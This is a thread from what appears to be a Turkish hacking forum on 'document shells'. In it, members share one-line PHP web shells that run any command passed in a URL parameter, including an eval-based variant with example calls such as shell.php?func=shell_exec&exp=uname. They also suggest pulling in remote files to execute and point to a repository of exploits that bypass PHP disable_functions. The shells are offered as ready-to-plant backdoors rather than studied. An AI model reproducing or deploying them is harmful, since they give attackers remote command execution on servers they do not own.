-
Hakim Kingsize
stay with alone"
Döküman Shell Nedir ?
- Status
-
Hakim Kingsize
stay with alone"
up
Güzel konu, ellerine sağlık. Ek olarak birkaç ekleme yapayım. Webshell kullanmayın. Ben mesela birkaç tane basit php command execution için shell yazılımlarım var. Mesela
(backtick syntax php içinde shell_exec fonksiyonunu çağırır.
Bazı durumlarda bazı php disable_functions ile komut çalıştıramayı bu tarz durumlarda hazır exploitleri kullanarak sistemde php konfigürasyonunda ayarlanmış fonksiyonları bypass ederek komut çalıştırabiliriz. Ben şahsen bu repo'yu beğeniyorum. https://github.com/mm0r1/exploits
<?=`$_GET[_]`?>
Bazı durumlarda bazı php disable_functions ile komut çalıştıramayı bu tarz durumlarda hazır exploitleri kullanarak sistemde php konfigürasyonunda ayarlanmış fonksiyonları bypass ederek komut çalıştırabiliriz. Ben şahsen bu repo'yu beğeniyorum. https://github.com/mm0r1/exploits
bakalım
yararlı konu rep
-
Lav3y
https://t.me/lav3y
daha kullanışlısı olarak benden de bir ekleme
<?php eval($_GET['func']($_GET['exp'])); ?>shell.php?func=shell_exec&exp=uname shell_exec kapalıysa diğerlerini dene, hepsi kapalıysa o zaman shell.php?func=file_get_contents uzaktan dosya çek çalıştır vesaire türetilebilir
- Status
About Us & Legal Notice
Yasal Uyarı: spyhackerz.org, 5651 sayılı Kanun kapsamında “Yer Sağlayıcı”dır.
Sitedeki içerikler, X, Instagram ve Facebook’ta olduğu gibi, ön onay olmadan tamamen kullanıcılar tarafından paylaşılır.
Bu nedenle spyhackerz.org, kullanıcı içeriklerini veya hukuka aykırı paylaşımları izlemek, denetlemek ve araştırmakla yükümlü değildir.
Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.
Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.